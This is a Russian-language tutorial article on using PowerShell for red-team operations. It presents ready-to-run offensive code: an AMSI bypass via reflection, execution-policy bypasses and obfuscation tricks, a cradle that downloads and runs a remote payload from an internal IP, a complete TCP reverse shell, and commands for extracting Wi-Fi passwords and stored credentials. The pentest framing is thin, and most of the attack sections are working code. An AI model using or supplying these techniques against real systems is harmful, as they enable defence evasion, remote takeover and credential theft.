PowerShell для красных команд от разведки до уклонения

POWERSHELL ДЛЯ КРАСНЫХ КОМАНД: ОТ РАЗВЕДКИ ДО УКЛОНЕНИЯ

Техники, команды и сценарии для пентеста и анализа защищённости

🔍 PowerShell — это не просто оболочка, а среда выполнения

В контексте кибербезопасности PowerShell трансформируется из инструмента администрирования в платформу для сбора разведданных, выполнения полезных нагрузок и уклонения от систем защиты. Его глубокая интеграция с Windows API, WMI и .NET позволяет выполнять операции, которые традиционно требуют отдельных утилит.

Ключевая особенность: PowerShell выполняет команды в памяти (in-memory), что снижает следы на диске и усложняет обнаружение сигнатурными антивирусами.

📡 Сбор системной и сетевой разведки

Задача Команда PowerShell
Информация об ОС и железе Get-WmiObject -Class Win32_OperatingSystem |
Select-Object -Property *
Конфигурация сети Get-NetIPConfiguration |
Select-Object -Property InterfaceAlias,
IPv4Address, IPv6Address, DNSServer
Сканирование открытых портов 1..1024 | ForEach-Object {
  $sock = New-Object System.Net.Sockets.TcpClient;
  $async = $sock.BeginConnect(‘localhost’,
  $_, $null, $null);
  $wait = $async.AsyncWaitHandle.WaitOne(100,$false);
  if($sock.Connected) { $_ }; $sock.Close() }

Первый этап любой операции — понимание окружения. PowerShell позволяет извлекать данные об ОС, сети, процессах и учётных записях без установки дополнительного ПО.

🛡️ Обход политики выполнения (Execution Policy Bypass)

По умолчанию PowerShell ограничивает выполнение неподписанных скриптов. Для операций красных команд это первое препятствие.

# Запуск PowerShell с обходом политики
powershell.exe -ExecutionPolicy Bypass -File script.ps1
# Внутри сессии — временное изменение
Set-ExecutionPolicy Bypass -Scope Process -Force
# Альтернатива: запуск закодированной команды
$cmd = 'Get-Process'
$encoded = [Convert]::ToBase64String(
  [System.Text.Encoding]::Unicode.GetBytes($cmd)
)
powershell.exe -EncodedCommand $encoded

Применение в пентесте: Эти методы позволяют запускать кастомные скрипты без изменения глобальных настроек системы, что снижает риски обнаружения.

🎭 Техники обфускации для уклонения от обнаружения

Современные EDR/антивирусы анализируют сигнатуры и поведение. Обфускация усложняет статический и динамический анализ.

Разделение строк и переменных

$a = 'Get-'
$b = 'Process'
iex ($a + $b)

Простейший метод, скрывающий команду от примитивных сигнатур.

Base64-кодирование

$cmd = 'Get-Process'
$enc = [Convert]::ToBase64String(
  [Text.Encoding]::Unicode.GetBytes($cmd)
)
powershell -EncodedCommand $enc

Встроенная поддержка PowerShell для запуска закодированных команд.

Обход AMSI (Anti-Malware Scan Interface)

[Ref].Assembly.GetType(
  'System.Management.Automation.AmsiUtils'
).GetField(
  'amsiInitFailed', 'NonPublic,Static'
).SetValue($null, $true)

Критический приём для отключения сканирования содержимого скриптов.

Выполнение в памяти (без диска)

$url = 'http://10.0.0.5/payload.ps1'
$script = (New-Object Net.WebClient).DownloadString($url)
Invoke-Expression $script

Загрузка и выполнение скрипта напрямую из сети, минуя запись на диск.

⚡ Практические сценарии применения

От обратного шелла до извлечения учётных данных — как использовать PowerShell в реальных операциях.

🔓 Обратный шелл (Reverse Shell) на PowerShell

Установка удалённого доступа к целевой системе через TCP-соединение.

$client = New-Object System.Net.Sockets.TCPClient(
  '10.0.0.100', 4444
);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % { 0 };
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
  $data = [Text.Encoding]::ASCII.GetString($bytes, 0, $i);
  $sendback = (iex $data 2>&1 | Out-String);
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte, 0, $sendbyte.Length);
  $stream.Flush()
};
$client.Close()

Контекст безопасности: Такой шелл работает в памяти, не оставляя исполняемых файлов. Обнаружение требует анализа сетевого трафика или поведения процесса PowerShell.

🗝️ Источники учётных данных в Windows

Источник Команда/Метод Риск для защиты
Wi-Fi профили netsh wlan show profile name=»*» key=clear Высокий: прямое извлечение паролей
Сохранённые данные браузеров Инструменты типа Invoke-WebBrowserPasswordDump Критический: доступ к аккаунтам
Windows Credential Manager cmdkey /list
(с последующим использованием)
Высокий: кража RDP/HTTP-учётных данных

🧠 Проверка понимания: обход защиты

Какая техника позволяет отключить сканирование содержимого скриптов
антивирусным интерфейсом AMSI в PowerShell?

Использование параметра -WindowStyle Hidden

Запуск скрипта из альтернативного потока данных

Установка значения amsiInitFailed = $true через рефлексию

Использование кодирования команды в Base64

Оставьте комментарий